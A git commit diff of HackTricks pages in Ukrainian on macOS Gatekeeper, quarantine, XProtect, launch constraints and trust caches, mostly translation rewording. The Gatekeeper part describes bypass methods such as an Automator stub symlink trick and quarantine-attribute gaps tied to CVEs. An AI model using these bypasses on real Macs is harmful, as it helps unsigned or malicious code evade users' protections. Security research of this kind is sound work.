Translated ['macos-hardening/macos-security-and-privilege-escalation/mac

This commit is contained in:
Translator 2024-07-19 16:36:53 +00:00
parent b3faf0baf9
commit fbc805485a
20 changed files with 707 additions and 549 deletions

View file

@ -1,16 +1,19 @@
# macOS Gatekeeper / Quarantine / XProtect
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
@ -18,11 +21,11 @@
## Gatekeeper
**Gatekeeper** - це функція безпеки, розроблена для операційних систем Mac, призначена для забезпечення того, щоб користувачі **використовували лише надійне програмне забезпечення** на своїх системах. Вона функціонує шляхом **перевірки програмного забезпечення**, яке користувач завантажує та намагається відкрити з **джерел, що не є App Store**, таких як додаток, плагін або пакет установника.
**Gatekeeper** - це функція безпеки, розроблена для операційних систем Mac, призначена для забезпечення того, щоб користувачі **використовували лише надійне програмне забезпечення** на своїх системах. Вона функціонує, **перевіряючи програмне забезпечення**, яке користувач завантажує та намагається відкрити з **джерел, що не є App Store**, таких як додаток, плагін або пакет установника.
Ключовий механізм Gatekeeper полягає в її **процесі перевірки**. Вона перевіряє, чи є завантажене програмне забезпечення **підписаним визнаним розробником**, що забезпечує автентичність програмного забезпечення. Додатково, вона підтверджує, чи є програмне забезпечення **нотаризованим Apple**, що підтверджує, що воно не містить відомого шкідливого вмісту і не було змінено після нотаризації.
Крім того, Gatekeeper зміцнює контроль і безпеку користувача, **запитуючи користувачів підтвердити відкриття** завантаженого програмного забезпечення вперше. Ця запобіжна міра допомагає запобігти випадковому запуску потенційно шкідливого виконуваного коду, який користувач міг помилково прийняти за безпечний файл даних.
Крім того, Gatekeeper посилює контроль і безпеку користувача, **запитуючи користувачів підтвердити відкриття** завантаженого програмного забезпечення вперше. Ця запобіжна міра допомагає запобігти випадковому запуску користувачами потенційно шкідливого виконуваного коду, який вони могли помилково прийняти за безпечний файл даних.
### Application Signatures
@ -30,7 +33,7 @@
Ось як це працює:
1. **Підписання додатка:** Коли розробник готовий розповсюдити свій додаток, він **підписує додаток за допомогою приватного ключа**. Цей приватний ключ пов'язаний з **сертифікатом, який Apple видає розробнику** під час реєстрації в програмі Apple Developer. Процес підписання включає створення криптографічного хешу всіх частин додатка та шифрування цього хешу за допомогою приватного ключа розробника.
1. **Підписання додатка:** Коли розробник готовий розповсюдити свій додаток, він **підписує додаток за допомогою приватного ключа**. Цей приватний ключ пов'язаний з **сертифікатом, який Apple видає розробнику** під час реєстрації в програмі Apple Developer Program. Процес підписання включає створення криптографічного хешу всіх частин додатка та шифрування цього хешу за допомогою приватного ключа розробника.
2. **Розповсюдження додатка:** Підписаний додаток потім розповсюджується користувачам разом із сертифікатом розробника, який містить відповідний публічний ключ.
3. **Перевірка додатка:** Коли користувач завантажує та намагається запустити додаток, його операційна система Mac використовує публічний ключ з сертифіката розробника для розшифрування хешу. Потім вона перераховує хеш на основі поточного стану додатка та порівнює його з розшифрованим хешем. Якщо вони збігаються, це означає, що **додаток не був змінений** з моменту підписання розробником, і система дозволяє запуск додатка.
@ -61,13 +64,13 @@ codesign -s <cert-name-keychain> toolsdemo
Процес нотаризації Apple слугує додатковим захистом для користувачів від потенційно шкідливого програмного забезпечення. Він передбачає, що **розробник подає свою програму на перевірку** до **Служби нотаризації Apple**, яку не слід плутати з перевіркою додатків. Ця служба є **автоматизованою системою**, яка ретельно перевіряє подане програмне забезпечення на наявність **шкідливого контенту** та будь-яких потенційних проблем з підписуванням коду.
Якщо програмне забезпечення **проходить** цю перевірку без жодних зауважень, Служба нотаризації генерує квиток нотаризації. Розробник зобов'язаний **додати цей квиток до свого програмного забезпечення**, процес, відомий як 'степлінг'. Крім того, квиток нотаризації також публікується в Інтернеті, де Gatekeeper, технологія безпеки Apple, може отримати до нього доступ.
Якщо програмне забезпечення **проходить** цю перевірку без жодних зауважень, Служба нотаризації генерує квиток нотаризації. Розробник зобов'язаний **додати цей квиток до свого програмного забезпечення**, процес, відомий як 'стаплінг'. Крім того, квиток нотаризації також публікується в Інтернеті, де Gatekeeper, технологія безпеки Apple, може отримати до нього доступ.
Під час першої установки або виконання програмного забезпечення користувачем, наявність квитка нотаризації - чи то прикріпленого до виконуваного файлу, чи знайденого в Інтернеті - **інформує Gatekeeper, що програмне забезпечення було нотаризовано Apple**. В результаті Gatekeeper відображає описове повідомлення в початковому діалоговому вікні запуску, вказуючи на те, що програмне забезпечення пройшло перевірки на наявність шкідливого контенту від Apple. Цей процес таким чином підвищує довіру користувачів до безпеки програмного забезпечення, яке вони встановлюють або запускають на своїх системах.
### Перерахування GateKeeper
GateKeeper є як **декількома компонентами безпеки**, які запобігають виконанню ненадійних додатків, так і **одним з компонентів**.
GateKeeper є як **кількома компонентами безпеки**, які запобігають виконанню ненадійних додатків, так і **одним з компонентів**.
Можна побачити **статус** GateKeeper за допомогою:
```bash
@ -96,7 +99,7 @@ anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] exists
anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists and (certificate leaf[field.1.2.840.113635.100.6.1.14] or certificate leaf[field.1.2.840.113635.100.6.1.13]) and notarized|1|0|Notarized Developer ID
[...]
```
Зверніть увагу, як перше правило закінчується на "**App Store**", а друге - на "**Developer ID**", і що на попередньому зображенні було **увімкнено виконання додатків з App Store та ідентифікованих розробників**.\
Зверніть увагу, як перше правило закінчується на "**App Store**", а друге - на "**Developer ID**", і що в попередньому зображенні було **увімкнено виконання додатків з App Store та ідентифікованих розробників**.\
Якщо ви **зміните** це налаштування на App Store, то правила "**Notarized Developer ID**" зникнуть.
Існує також тисячі правил **типу GKE**:
@ -156,7 +159,7 @@ spctl --assess -v /Applications/App.app
У випадку, якщо **прапор карантину відсутній** (як у випадку з файлами, завантаженими через деякі клієнти BitTorrent), **перевірки Gatekeeper можуть не виконуватись**. Тому користувачі повинні бути обережними при відкритті файлів, завантажених з менш безпечних або невідомих джерел.
{% hint style="info" %}
**Перевірка** **дійсності** підписів коду є **ресурсоємним** процесом, що включає генерацію криптографічних **хешів** коду та всіх його упакованих ресурсів. Крім того, перевірка дійсності сертифіката передбачає проведення **онлайн-перевірки** на серверах Apple, щоб дізнатися, чи був він анульований після його видачі. З цих причин повна перевірка підпису коду та нотаризації є **недоцільною для виконання щоразу при запуску програми**.
**Перевірка** **дійсності** підписів коду є **ресурсоємним** процесом, який включає в себе генерацію криптографічних **хешів** коду та всіх його упакованих ресурсів. Крім того, перевірка дійсності сертифіката передбачає проведення **онлайн-перевірки** на серверах Apple, щоб дізнатися, чи був він відкликаний після його видачі. З цих причин повна перевірка підпису коду та нотаризації є **недоцільною для виконання щоразу при запуску програми**.
Тому ці перевірки **виконуються лише при виконанні програм з атрибутом карантину.**
{% endhint %}
@ -304,8 +307,8 @@ system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistC
XProtect розташований у захищеному місці SIP за адресою **/Library/Apple/System/Library/CoreServices/XProtect.bundle**, і всередині пакету ви можете знайти інформацію, яку використовує XProtect:
* **`XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist`**: Дозволяє коду з цими cdhash'ами використовувати спадкові права.
* **`XProtect.bundle/Contents/Resources/XProtect.meta.plist`**: Список плагінів і розширень, які заборонено завантажувати через BundleID та TeamID або вказуючи мінімальну версію.
* **`XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist`**: Дозволяє коду з цими cdhashes використовувати спадкові права.
* **`XProtect.bundle/Contents/Resources/XProtect.meta.plist`**: Список плагінів і розширень, які заборонено завантажувати через BundleID і TeamID або вказуючи мінімальну версію.
* **`XProtect.bundle/Contents/Resources/XProtect.yara`**: Правила Yara для виявлення шкідливого ПЗ.
* **`XProtect.bundle/Contents/Resources/gk.db`**: База даних SQLite3 з хешами заблокованих додатків і TeamIDs.
@ -335,7 +338,7 @@ XProtect розташований у захищеному місці SIP за а
Коли додаток створюється за допомогою **Automator**, інформація про те, що йому потрібно для виконання, знаходиться всередині `application.app/Contents/document.wflow`, а не в виконуваному файлі. Виконуваний файл - це просто загальний бінарний файл Automator, званий **Automator Application Stub**.
Отже, ви могли б зробити так, щоб `application.app/Contents/MacOS/Automator\ Application\ Stub` **вказував на символічне посилання на інший Automator Application Stub всередині системи** і він виконає те, що знаходиться в `document.wflow` (ваш скрипт) **без спрацьовування Gatekeeper**, оскільки фактичний виконуваний файл не має атрибута карантину.
Отже, ви могли б зробити так, щоб `application.app/Contents/MacOS/Automator\ Application\ Stub` **вказував за допомогою символічного посилання на інший Automator Application Stub всередині системи** і він виконає те, що знаходиться в `document.wflow` (ваш скрипт) **без спрацьовування Gatekeeper**, оскільки фактичний виконуваний файл не має атрибута карантину.
Приклад очікуваного місця: `/System/Library/CoreServices/Automator\ Application\ Stub.app/Contents/MacOS/Automator\ Application\ Stub`
@ -390,11 +393,11 @@ aa archive -d app -o test.aar
```
### [CVE-2023-27943](https://blog.f-secure.com/discovery-of-gatekeeper-bypass-cve-2023-27943/)
Було виявлено, що **Google Chrome не встановлював атрибут карантину** для завантажених файлів через деякі внутрішні проблеми macOS.
Виявлено, що **Google Chrome не встановлював атрибут карантину** для завантажених файлів через деякі внутрішні проблеми macOS.
### [CVE-2023-27951](https://redcanary.com/blog/gatekeeper-bypass-vulnerabilities/)
Формати файлів AppleDouble зберігають атрибути файлу в окремому файлі, що починається з `._`, це допомагає копіювати атрибути файлів **між macOS машинами**. Однак було помічено, що після розпакування файлу AppleDouble, файл, що починається з `._`, **не отримував атрибут карантину**.
Формати файлів AppleDouble зберігають атрибути файлу в окремому файлі, що починається з `._`, це допомагає копіювати атрибути файлів **між macOS машинами**. Однак було помічено, що після розпакування файлу AppleDouble файл, що починається з `._` **не отримував атрибут карантину**.
{% code overflow="wrap" %}
```bash

View file

@ -1,100 +1,101 @@
# Обмеження запуску/середовища macOS та кеш довіри
# macOS Launch/Environment Constraints & Trust Cache
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Ви працюєте в **кібербезпецівій компанії**? Хочете побачити **рекламу вашої компанії на HackTricks**? або хочете мати доступ до **останньої версії PEASS або завантажити HackTricks у форматі PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Дізнайтеся про [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за мною на **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**репозиторію hacktricks**](https://github.com/carlospolop/hacktricks) **та** [**репозиторію hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud)
*
* .
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Основна інформація
## Basic Information
Обмеження запуску в macOS були введені для підвищення безпеки шляхом **регулювання того, як, хто і звідки може бути ініційований процес**. Запроваджені в macOS Ventura, вони надають фреймворк, який категоризує **кожний системний бінарний файл у різні категорії обмежень**, які визначені в **кеші довіри**, список, що містить системні бінарні файли та їх відповідні хеші. Ці обмеження поширюються на кожний виконуваний бінарний файл у системі, включаючи набір **правил**, які визначають вимоги для **запуску певного бінарного файлу**. Правила охоплюють власні обмеження, які повинен задовольняти бінарний файл, обмеження батьків, які повинні бути виконані батьківським процесом, та обмеження відповідальності, які повинні дотримуватися іншими відповідними сутностями.
Обмеження запуску в macOS були введені для підвищення безпеки шляхом **регулювання того, як, ким і звідки може бути ініційований процес**. Введені в macOS Ventura, вони надають структуру, яка категоризує **кожен системний бінарний файл у різні категорії обмежень**, які визначені в **кеші довіри**, списку, що містить системні бінарні файли та їх відповідні хеші. Ці обмеження поширюються на кожен виконуваний бінар у системі, що передбачає набір **правил**, які визначають вимоги для **запуску конкретного бінарного файлу**. Правила охоплюють самостійні обмеження, які бінарний файл повинен задовольнити, обмеження батьківського процесу, які повинні бути виконані його батьківським процесом, та відповідальні обмеження, які повинні дотримуватися інші відповідні суб'єкти.
Механізм поширюється на сторонні додатки через **Обмеження середовища**, починаючи з macOS Sonoma, що дозволяє розробникам захищати свої додатки, вказуючи **набір ключів та значень для обмежень середовища**.
Механізм поширюється на сторонні програми через **обмеження середовища**, починаючи з macOS Sonoma, що дозволяє розробникам захищати свої програми, вказуючи **набір ключів і значень для обмежень середовища.**
Ви визначаєте **обмеження запуску та бібліотек** в словниках обмежень, які ви зберігаєте в **файлах властивостей `launchd`**, або в **окремих файлах властивостей**, які ви використовуєте при підписанні коду.
Ви визначаєте **обмеження середовища запуску та бібліотеки** в словниках обмежень, які ви або зберігаєте в **файлах списку властивостей `launchd`**, або в **окремих файлах списку властивостей**, які ви використовуєте для підписування коду.
Існує 4 типи обмежень:
* **Власні обмеження**: Обмеження, які застосовуються до **виконуваного** бінарного файлу.
* **Батьківський процес**: Обмеження, які застосовуються до **батька процесу** (наприклад **`launchd`**, який запускає службу XP)
* **Обмеження відповідальності**: Обмеження, які застосовуються до **процесу, який викликає службу** у комунікації XPC
* **Обмеження завантаження бібліотек**: Використовуйте обмеження завантаження бібліотек для селективного опису коду, який може бути завантажений
* **Самостійні обмеження**: Обмеження, що застосовуються до **запущеного** бінарного файлу.
* **Батьківський процес**: Обмеження, що застосовуються до **батька процесу** (наприклад, **`launchd`**, що запускає службу XP)
* **Відповідальні обмеження**: Обмеження, що застосовуються до **процесу, що викликає службу** в комунікації XPC
* **Обмеження завантаження бібліотеки**: Використовуйте обмеження завантаження бібліотеки, щоб вибірково описати код, який може бути завантажений
Таким чином, коли процес намагається запустити інший процес — викликаючи `execve(_:_:_:)` або `posix_spawn(_:_:_:_:_:_:)` — операційна система перевіряє, що **виконуваний** файл **задовольняє** своє **власне обмеження**. Вона також перевіряє, що **виконуваний файл батьківського процесу задовольняє обмеження батьківського процесу**, і що **виконуваний файл відповідального процесу задовольняє обмеження відповідального процесу**. Якщо будь-які з цих обмежень запуску не виконуються, операційна система не запускає програму.
Отже, коли процес намагається запустити інший процес — викликом `execve(_:_:_:)` або `posix_spawn(_:_:_:_:_:_:)` — операційна система перевіряє, що **виконуваний** файл **задовольняє** своє **власне самостійне обмеження**. Вона також перевіряє, що **виконуваний файл батьківського** **процесу** **задовольняє** **обмеження батька** виконуваного файлу, і що **виконуваний файл відповідального** **процесу** **задовольняє обмеження відповідального процесу** виконуваного файлу. Якщо будь-яке з цих обмежень запуску не задовольняється, операційна система не запускає програму.
Якщо при завантаженні бібліотеки будь-яка частина **обмеження бібліотеки не виконується**, ваш процес **не завантажує** бібліотеку.
Якщо під час завантаження бібліотеки будь-яка частина **обмеження бібліотеки не є істинною**, ваш процес **не завантажує** бібліотеку.
## Категорії LC
## LC Categories
LC складається з **фактів** та **логічних операцій** (і, або..), які комбінують факти.
LC складається з **фактів** та **логічних операцій** (і, або..), які поєднують факти.
[**Факти, які може використовувати LC, задокументовані**](https://developer.apple.com/documentation/security/defining\_launch\_environment\_and\_library\_constraints). Наприклад:
* is-init-proc: Булеве значення, яке вказує, чи має виконуваний файл бути процесом ініціалізації операційної системи (`launchd`).
* is-sip-protected: Булеве значення, яке вказує, чи має виконуваний файл бути файлом, захищеним Системою Цілісності (SIP).
* `on-authorized-authapfs-volume:` Булеве значення, яке вказує, чи операційна система завантажила виконуваний файл з авторизованого, аутентифікованого тому APFS.
* `on-authorized-authapfs-volume`: Булеве значення, яке вказує, чи операційна система завантажила виконуваний файл з авторизованого, аутентифікованого тому APFS.
* Cryptexes volume
* `on-system-volume:` Булеве значення, яке вказує, чи операційна система завантажила виконуваний файл з поточного завантаженого тому системи.
* is-init-proc: Логічне значення, яке вказує, чи повинен виконуваний файл бути процесом ініціалізації операційної системи (`launchd`).
* is-sip-protected: Логічне значення, яке вказує, чи повинен виконуваний файл бути файлом, захищеним захистом цілісності системи (SIP).
* `on-authorized-authapfs-volume:` Логічне значення, яке вказує, чи завантажила операційна система виконуваний файл з авторизованого, аутентифікованого обсягу APFS.
* `on-authorized-authapfs-volume`: Логічне значення, яке вказує, чи завантажила операційна система виконуваний файл з авторизованого, аутентифікованого обсягу APFS.
* Обсяг Cryptexes
* `on-system-volume:` Логічне значення, яке вказує, чи завантажила операційна система виконуваний файл з поточного завантаженого системного обсягу.
* Всередині /System...
* ...
Коли Apple бінарний файл підписаний, він **призначає його категорії LC** всередині **кешу довіри**.
Коли бінарний файл Apple підписується, він **призначає його до категорії LC** всередині **кешу довіри**.
* **16 категорій LC для iOS** були [**розгорнуті та задокументовані тут**](https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056).
* Поточні **категорії LC (macOS 14** - Somona) були розгорнуті, і їх [**опис можна знайти тут**](https://gist.github.com/theevilbit/a6fef1e0397425a334d064f7b6e1be53).
* **Категорії LC iOS 16** були [**перевернуті та задокументовані тут**](https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056).
* Поточні **категорії LC (macOS 14** - Somona) були перевернуті, і їх [**описи можна знайти тут**](https://gist.github.com/theevilbit/a6fef1e0397425a334d064f7b6e1be53).
Наприклад, Категорія 1:
Наприклад, категорія 1 є:
```
Category 1:
Self Constraint: (on-authorized-authapfs-volume || on-system-volume) && launch-type == 1 && validation-category == 1
Parent Constraint: is-init-proc
```
* `(on-authorized-authapfs-volume || on-system-volume)`: Повинно бути у томі System або Cryptexes.
* `launch-type == 1`: Повинно бути системним сервісом (plist у LaunchDaemons).
* `(on-authorized-authapfs-volume || on-system-volume)`: Повинен бути в системному або Cryptexes обсязі.
* `launch-type == 1`: Повинен бути системною службою (plist в LaunchDaemons).
* `validation-category == 1`: Виконуваний файл операційної системи.
* `is-init-proc`: Launchd
### Реверсінг LC Категорій
### Реверсування LC категорій
Ви можете отримати більше інформації [**тут**](https://theevilbit.github.io/posts/launch\_constraints\_deep\_dive/#reversing-constraints), але в основному вони визначені в **AMFI (AppleMobileFileIntegrity)**, тому вам потрібно завантажити Набір розробки ядра, щоб отримати **KEXT**. Символи, що починаються з **`kConstraintCategory`**, є **цікавими**. Видобуваючи їх, ви отримаєте закодований потік DER (ASN.1), який потрібно розкодувати за допомогою [ASN.1 Decoder](https://holtstrom.com/michael/tools/asn1decoder.php) або бібліотеки python-asn1 та її сценарію `dump.py`, [andrivet/python-asn1](https://github.com/andrivet/python-asn1/tree/master), яка надасть вам більш зрозумілий рядок.
У вас є більше інформації [**про це тут**](https://theevilbit.github.io/posts/launch\_constraints\_deep\_dive/#reversing-constraints), але в основному, вони визначені в **AMFI (AppleMobileFileIntegrity)**, тому вам потрібно завантажити набір для розробки ядра, щоб отримати **KEXT**. Символи, що починаються з **`kConstraintCategory`**, є **цікавими**. Витягуючи їх, ви отримаєте DER (ASN.1) закодований потік, який вам потрібно буде декодувати за допомогою [ASN.1 Decoder](https://holtstrom.com/michael/tools/asn1decoder.php) або бібліотеки python-asn1 та її скрипта `dump.py`, [andrivet/python-asn1](https://github.com/andrivet/python-asn1/tree/master), що надасть вам більш зрозумілий рядок.
## Обмеження середовища
Це обмеження запуску, налаштоване в **додатках сторонніх розробників**. Розробник може вибрати **факти** та **логічні операнди для використання** у своєму додатку для обмеження доступу до нього.
Це обмеження запуску, налаштовані в **додатках третіх сторін**. Розробник може вибрати **факти** та **логічні операнди для використання** у своєму додатку, щоб обмежити доступ до нього.
Можливо перерахувати Обмеження середовища додатка за допомогою:
Можливо перерахувати обмеження середовища додатка за допомогою:
```bash
codesign -d -vvvv app.app
```
## Кеш довіри
## Кеші Довіри
У **macOS** є кілька кешів довіри:
В **macOS** є кілька кешів довіри:
* **`/System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/BaseSystemTrustCache.img4`**
* **`/System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/StaticTrustCache.img4`**
* **`/System/Library/Security/OSLaunchPolicyData`**
А в iOS виглядає, що він знаходиться в **`/usr/standalone/firmware/FUD/StaticTrustCache.img4`**.
А в iOS, здається, це знаходиться в **`/usr/standalone/firmware/FUD/StaticTrustCache.img4`**.
{% hint style="warning" %}
На macOS, що працює на пристроях Apple Silicon, якщо підписаний Apple бінарний файл не знаходиться в кеші довіри, AMFI відмовиться його завантажувати.
На macOS, що працює на пристроях Apple Silicon, якщо бінарний файл, підписаний Apple, не знаходиться в кеші довіри, AMFI відмовиться його завантажити.
{% endhint %}
### Перелік кешів довіри
### Перерахування Кешів Довіри
Попередні файли кешу довіри мають формат **IMG4** та **IM4P**, де IM4P - це розділ навантаження формату IMG4.
Попередні файли кешу довіри мають формат **IMG4** та **IM4P**, причому IM4P є секцією корисного навантаження формату IMG4.
Ви можете використовувати [**pyimg4**](https://github.com/m1stadev/PyIMG4), щоб видобути навантаження баз даних:
Ви можете використовувати [**pyimg4**](https://github.com/m1stadev/PyIMG4) для витягнення корисного навантаження баз даних:
{% code overflow="wrap" %}
```bash
@ -114,9 +115,9 @@ pyimg4 im4p extract -i /System/Library/Security/OSLaunchPolicyData -o /tmp/OSLau
```
{% endcode %}
(Іншою опцією може бути використання інструменту [**img4tool**](https://github.com/tihmstar/img4tool), який буде працювати навіть в M1, навіть якщо версія застаріла, і для x86\_64, якщо ви встановите його в відповідні місця).
(Інший варіант - використати інструмент [**img4tool**](https://github.com/tihmstar/img4tool), який працюватиме навіть на M1, навіть якщо випуск старий, і для x86\_64, якщо ви встановите його в правильні місця).
Тепер ви можете використовувати інструмент [**trustcache**](https://github.com/CRKatri/trustcache), щоб отримати інформацію у зручному форматі:
Тепер ви можете використовувати інструмент [**trustcache**](https://github.com/CRKatri/trustcache), щоб отримати інформацію в читабельному форматі:
```bash
# Install
wget https://github.com/CRKatri/trustcache/releases/download/v2.0/trustcache_macos_arm64
@ -140,7 +141,7 @@ entry count = 969
01e6934cb8833314ea29640c3f633d740fc187f2 [none] [2] [2]
020bf8c388deaef2740d98223f3d2238b08bab56 [none] [2] [3]
```
Довірний кеш має наступну структуру, тому **категорія LC є четвертим стовпцем**
Кеш довіри має таку структуру, тому **категорія LC є 4-м стовпцем**
```c
struct trust_cache_entry2 {
uint8_t cdhash[CS_CDHASH_LEN];
@ -150,31 +151,30 @@ uint8_t constraintCategory;
uint8_t reserved0;
} __attribute__((__packed__));
```
Потім ви можете використати скрипт, такий як [**цей**](https://gist.github.com/xpn/66dc3597acd48a4c31f5f77c3cc62f30), щоб витягти дані.
Тоді ви можете використовувати скрипт, такий як [**цей**](https://gist.github.com/xpn/66dc3597acd48a4c31f5f77c3cc62f30), щоб витягти дані.
З цих даних ви можете перевірити додатки з **значенням обмежень запуску `0`**, які не обмежені ([**перевірте тут**](https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056) для кожного значення).
З цих даних ви можете перевірити програми з **значенням обмежень запуску `0`**, які не мають обмежень ([**перевірте тут**](https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056), що означає кожне значення).
## Заходи проти атак
## Заходи щодо пом'якшення атак
Обмеження запуску б врегулювало кілька старих атак, **переконуючись, що процес не буде виконаний в неочікуваних умовах:** наприклад, з неочікуваних місць або викликаний неочікуваним батьківським процесом (якщо лише launchd має запускати його).
Обмеження запуску могли б пом'якшити кілька старих атак, **переконавшись, що процес не буде виконуватись в несподіваних умовах:** Наприклад, з несподіваних місць або за запитом несподіваного батьківського процесу (якщо тільки launchd не повинен його запускати).
Більше того, обмеження запуску також **перешкоджає атакам на зниження рівня.**
Більше того, обмеження запуску також **пом'якшують атаки з пониженням рівня.**
Однак вони **не захищають від поширених зловживань XPC**, **внедрень коду Electron** або **внедрень dylib** без перевірки бібліотек (якщо не відомі ідентифікатори команд, які можуть завантажувати бібліотеки).
Однак вони **не пом'якшують загальні зловживання XPC**, **впровадження коду Electron** або **впровадження dylib** без валідації бібліотек (якщо тільки ідентифікатори команди, які можуть завантажувати бібліотеки, не відомі).
### Захист від служб XPC Daemon
### Захист від демонів XPC
У випуску Sonoma помітним пунктом є **конфігурація відповідальності служби XPC демона**. Служба XPC відповідає за себе, на відміну від клієнта, який підключається. Це документовано в звіті про зворотній зв'язок FB13206884. Ця настройка може здатися недосконалою, оскільки вона дозволяє певні взаємодії зі службою XPC:
У випуску Sonoma важливим моментом є **конфігурація відповідальності** служби демонів XPC. Служба XPC відповідає за себе, на відміну від підключеного клієнта, який несе відповідальність. Це задокументовано у звіті зворотного зв'язку FB13206884. Ця конфігурація може здаватися недосконалою, оскільки дозволяє певні взаємодії зі службою XPC:
- **Запуск служби XPC**: Якщо припустити, що це помилка, ця настройка не дозволяє ініціювати службу XPC через код атакувальника.
- **Підключення до активної служби**: Якщо служба XPC вже працює (можливо, активована її початковим додатком), немає перешкод для підключення до неї.
- **Запуск служби XPC**: Якщо вважати це помилкою, ця конфігурація не дозволяє ініціювати службу XPC через код зловмисника.
- **Підключення до активної служби**: Якщо служба XPC вже працює (можливо, активована її оригінальним додатком), немає перешкод для підключення до неї.
Хоча впровадження обмежень на службу XPC може бути корисним, **звужуючи вікно для потенційних атак**, це не вирішує основну проблему. Забезпечення безпеки служби XPC фундаментально вимагає **ефективної перевірки підключеного клієнта**. Це залишається єдиним методом зміцнення безпеки служби. Також варто зазначити, що згадана конфігурація відповідальності наразі працює, що може не відповідати задуманому дизайну.
Хоча впровадження обмежень на службу XPC може бути корисним, **звужуючи вікно для потенційних атак**, це не вирішує основну проблему. Забезпечення безпеки служби XPC вимагає **ефективної валідації підключеного клієнта**. Це залишається єдиним способом зміцнити безпеку служби. Також варто зазначити, що згадана конфігурація відповідальності наразі діє, що може не відповідати запланованому дизайну.
### Захист Electron
### Захист від Electron
Навіть якщо вимагається, щоб додаток був **відкритий за допомогою LaunchService** (в обмеженнях батьків). Це можна досягти за допомогою **`open`** (який може встановлювати змінні середовища) або використовуючи **API служб запуску** (де можна вказати змінні середовища).
Навіть якщо вимагається, щоб додаток був **відкритий через LaunchService** (в обмеженнях батьків). Це можна досягти, використовуючи **`open`** (який може встановлювати змінні середовища) або використовуючи **API Launch Services** (де можуть бути вказані змінні середовища).
## Посилання
@ -183,16 +183,17 @@ uint8_t reserved0;
* [https://eclecticlight.co/2023/06/13/why-wont-a-system-app-or-command-tool-run-launch-constraints-and-trust-caches/](https://eclecticlight.co/2023/06/13/why-wont-a-system-app-or-command-tool-run-launch-constraints-and-trust-caches/)
